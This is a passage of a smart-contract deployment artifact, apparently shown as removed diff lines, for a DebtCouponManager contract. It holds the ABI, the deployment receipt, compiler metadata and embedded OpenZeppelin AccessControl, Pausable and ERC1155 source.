"uint256", - "name": "", - "type": "uint256" - }, - { - "internalType": "bytes", - "name": "", - "type": "bytes" - } - ], - "name": "onERC1155Received", - "outputs": [ - { - "internalType": "bytes4", - "name": "", - "type": "bytes4" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "redeemCoupons", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_couponLengthBlocks", - "type": "uint256" - } - ], - "name": "setCouponLength", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "rate", - "type": "uint256" - } - ], - "name": "setExpiredCouponConvertionRate", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes4", - "name": "interfaceId", - "type": "bytes4" - } - ], - "name": "supportsInterface", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - } - ], - "transactionHash": "0xfffb222716eb0d94ae579041b1519dad130a6e0515021a4b7b8093389a6d138c", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x432120Ad63779897A424f7905BA000dF38A74554", - "transactionIndex": 91, - "gasUsed": "2823938", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0x63df614d36d0b444f363320d492d787f2892a87b6e6fc6e51def00a8451b567d", - "transactionHash": "0xfffb222716eb0d94ae579041b1519dad130a6e0515021a4b7b8093389a6d138c", - "logs": [], - "blockNumber": 12595282, - "cumulativeGasUsed": "8040510", - "status": 1, - "byzantium": true - }, - "args": ["0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", 1110857], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_couponLengthBlocks\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"newCouponLengthBlocks\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"previousCouponLengthBlocks\",\"type\":\"uint256\"}],\"name\":\"CouponLengthChanged\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"newRate\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"previousRate\",\"type\":\"uint256\"}],\"name\":\"ExpiredCouponConvertionRateChanged\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"blockHeightDebt\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"burnAutoRedeemTokensForDollars\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"burnCouponsForAutoRedemption\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"burnExpiredCouponsForUGOV\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"uGovAmount\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"couponLengthBlocks\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"debtCycle\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"dollarsMintedThisCycle\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"exchangeDollarsForDebtCoupons\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"exchangeDollarsForUAR\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"expiredCouponConvertionRate\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"getCouponsReturnedForDollars\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"getUARReturnedForDollars\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"mintClaimableDollars\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"},{\"internalType\":\"uint256[]\",\"name\":\"\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"\",\"type\":\"uint256[]\"},{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"onERC1155BatchReceived\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"onERC1155Received\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"redeemCoupons\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_couponLengthBlocks\",\"type\":\"uint256\"}],\"name\":\"setCouponLength\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"rate\",\"type\":\"uint256\"}],\"name\":\"setExpiredCouponConvertionRate\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"interfaceId\",\"type\":\"bytes4\"}],\"name\":\"supportsInterface\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"burnAutoRedeemTokensForDollars(uint256)\":{\"details\":\"Exchange auto redeem pool token for uAD tokens.\",\"params\":{\"amount\":\"Amount of uAR tokens to burn in exchange for uAD tokens.\"},\"returns\":{\"_0\":\"amount of unredeemed uAR\"}},\"burnCouponsForAutoRedemption(uint256,uint256)\":{\"details\":\"Lets debt holder burn coupons for auto redemption. Doesn't make TWAP > 1 check.\",\"params\":{\"amount\":\"the amount of coupons to redeem\",\"id\":\"the timestamp of the coupon\"},\"returns\":{\"_0\":\"amount of auto redeem pool tokens (i.e. LP tokens) minted to debt holder\"}},\"burnExpiredCouponsForUGOV(uint256,uint256)\":{\"details\":\"let debt holder burn expired coupons for UGOV. Doesn't make TWAP > 1 check.\",\"params\":{\"amount\":\"the amount of coupons to redeem\",\"id\":\"the timestamp of the coupon\"},\"returns\":{\"uGovAmount\":\"amount of UGOV tokens minted to debt holder\"}},\"constructor\":{\"params\":{\"_couponLengthBlocks\":\"how many blocks coupons last. can't be changed once set (unless migrated)\",\"_manager\":\"the address of the manager contract so we can fetch variables\"}},\"exchangeDollarsForDebtCoupons(uint256)\":{\"details\":\"called when a user wants to burn UAD for debt coupon. should only be called when oracle is below a dollar\",\"params\":{\"amount\":\"the amount of dollars to exchange for coupons\"}},\"exchangeDollarsForUAR(uint256)\":{\"details\":\"called when a user wants to burn UAD for uAR. should only be called when oracle is below a dollar\",\"params\":{\"amount\":\"the amount of dollars to exchange for uAR\"},\"returns\":{\"_0\":\"amount of auto redeem tokens minted\"}},\"getCouponsReturnedForDollars(uint256)\":{\"details\":\"uses the current coupons for dollars calculation to get coupons for dollars\",\"params\":{\"amount\":\"the amount of dollars to exchange for coupons\"}},\"getUARReturnedForDollars(uint256)\":{\"details\":\"uses the current uAR for dollars calculation to get uAR for dollars\",\"params\":{\"amount\":\"the amount of dollars to exchange for uAR\"}},\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\":{\"details\":\"this method is never called by the contract so if called, it was called by someone else -> revert.\"},\"onERC1155Received(address,address,uint256,uint256,bytes)\":{\"details\":\"should be called by this contract only when getting coupons to be burnt\"},\"redeemCoupons(uint256,uint256)\":{\"params\":{\"amount\":\"the amount of coupons to redeem\",\"id\":\"the block number of the coupon\"},\"returns\":{\"_0\":\"amount of unredeemed coupons\"}},\"supportsInterface(bytes4)\":{\"details\":\"See {IERC165-supportsInterface}.\"}},\"title\":\"A basic debt issuing and redemption mechanism for coupon holders\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"notice\":\"Allows users to burn their uAD in exchange for coupons redeemable in the futureAllows users to redeem individual debt coupons or batch redeem coupons on a first-come first-serve basis\",\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/DebtCouponManager.sol\":\"DebtCouponManager\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/security/Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\n\\n/**\\n * @dev Contract module which allows children to implement an emergency stop\\n * mechanism that can be triggered by an authorized account.\\n *\\n * This module is used through inheritance. It will make available the\\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\\n * the functions of your contract. Note that they will not be pausable by\\n * simply including this module, only once the modifiers are put in place.\\n */\\nabstract contract Pausable is Context {\\n /**\\n * @dev Emitted when the pause is triggered by `account`.\\n */\\n event Paused(address account);\\n\\n /**\\n * @dev Emitted when the pause is lifted by `account`.\\n */\\n event Unpaused(address account);\\n\\n bool private _paused;\\n\\n /**\\n * @dev Initializes the contract in unpaused state.\\n */\\n constructor () {\\n _paused = false;\\n }\\n\\n /**\\n * @dev Returns true if the contract is paused, and false otherwise.\\n */\\n function paused() public view virtual returns (bool) {\\n return _paused;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is not paused.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n modifier whenNotPaused() {\\n require(!paused(), \\\"Pausable: paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is paused.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n modifier whenPaused() {\\n require(paused(), \\\"Pausable: not paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Triggers stopped state.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n function _pause() internal virtual whenNotPaused {\\n _paused = true;\\n emit Paused(_msgSender());\\n }\\n\\n /**\\n * @dev Returns to normal state.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n function _unpause() internal virtual whenPaused {\\n _paused = false;\\n emit Unpaused(_msgSender());\\n }\\n}\\n\",\"keccak256\":\"0xab1f67e4c96dfe0e3875d22883c3dee5411914f40ce0c54ef407f030d803512e\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC1155.sol\\\";\\nimport \\\"./IERC1155Receiver.sol\\\";\\nimport \\\"./extensions/IERC1155MetadataURI.sol\\\";\\nimport \\\"../../utils/Address.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\nimport \\\"../../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the basic standard multi-token.\\n * See https://eips.ethereum.org/EIPS/eip-1155\\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\\n *\\n * _Available since v3.1._\\n */\\ncontract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {\\n using Address for address;\\n\\n // Mapping from token ID to account balances\\n mapping (uint256 => mapping(address => uint256)) private _balances;\\n\\n // Mapping from account to operator approvals\\n mapping (address => mapping(address => bool)) private _operatorApprovals;\\n\\n // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\\n string private _uri;\\n\\n /**\\n * @dev See {_setURI}.\\n */\\n constructor (string memory uri_) {\\n _setURI(uri_);\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\\n return interfaceId == type(IERC1155).interfaceId\\n || interfaceId == type(IERC1155MetadataURI).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev See {IERC1155MetadataURI-uri}.\\n *\\n * This implementation returns the same URI for *all* token types. It relies\\n * on the token type ID substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * Clients calling this function must replace the `\\\\{id\\\\}` substring with the\\n * actual token type ID.\\n */\\n function uri(uint256) public view virtual override returns (string memory) {\\n return _uri;\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\\n require(account != address(0), \\\"ERC1155: balance query for the zero address\\\");\\n return _balances[id][account];\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOfBatch}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(\\n address[] memory accounts,\\n uint256[] memory ids\\n )\\n public\\n view\\n virtual\\n override\\n returns (uint256[] memory)\\n {\\n require(accounts.length == ids.length, \\\"ERC1155: accounts and ids length mismatch\\\");\\n\\n uint256[] memory batchBalances = new uint256[](accounts.length);\\n\\n for (uint256 i = 0; i < accounts.length; ++i) {\\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\\n }\\n\\n return batchBalances;\\n }\\n\\n /**\\n * @dev See {IERC1155-setApprovalForAll}.\\n */\\n function setApprovalForAll(address operator, bool approved) public virtual override {\\n require(_msgSender() != operator, \\\"ERC1155: setting approval status for self\\\");\\n\\n _operatorApprovals[_msgSender()][operator] = approved;\\n emit ApprovalForAll(_msgSender(), operator, approved);\\n }\\n\\n /**\\n * @dev See {IERC1155-isApprovedForAll}.\\n */\\n function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\\n return _operatorApprovals[account][operator];\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n )\\n public\\n virtual\\n override\\n {\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n _balances[id][from] = fromBalance - amount;\\n _balances[id][to] += amount;\\n\\n emit TransferSingle(operator, from, to, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n public\\n virtual\\n override\\n {\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: transfer caller is not owner nor approved\\\"\\n );\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n for (uint256 i = 0; i < ids.length; ++i) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n _balances[id][from] = fromBalance - amount;\\n _balances[id][to] += amount;\\n }\\n\\n emit TransferBatch(operator, from, to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Sets a new URI for all token types, by relying on the token type ID\\n * substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * By this mechanism, any occurrence of the `\\\\{id\\\\}` substring in either the\\n * URI or any of the amounts in the JSON file at said URI will be replaced by\\n * clients with the token type ID.\\n *\\n * For example, the `https://token-cdn-domain/\\\\{id\\\\}.json` URI would be\\n * interpreted by clients as\\n * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\\n * for token type ID 0x4cce0.\\n *\\n * See {uri}.\\n *\\n * Because these URIs cannot be meaningfully represented by the {URI} event,\\n * this function emits no events.\\n */\\n function _setURI(string memory newuri) internal virtual {\\n _uri = newuri;\\n }\\n\\n /**\\n * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {\\n require(account != address(0), \\\"ERC1155: mint to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n _balances[id][account] += amount;\\n emit TransferSingle(operator, address(0), account, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {\\n require(to != address(0), \\\"ERC1155: mint to the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\\n\\n for (uint i = 0; i < ids.length; i++) {\\n _balances[ids[i]][to] += amounts[i];\\n }\\n\\n emit TransferBatch(operator, address(0), to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens of token type `id` from `account`\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens of token type `id`.\\n */\\n function _burn(address account, uint256 id, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), \\\"\\\");\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n _balances[id][account] = accountBalance - amount;\\n\\n emit TransferSingle(operator, account, address(0), id, amount);\\n }\\n\\n /**\\n * @dev 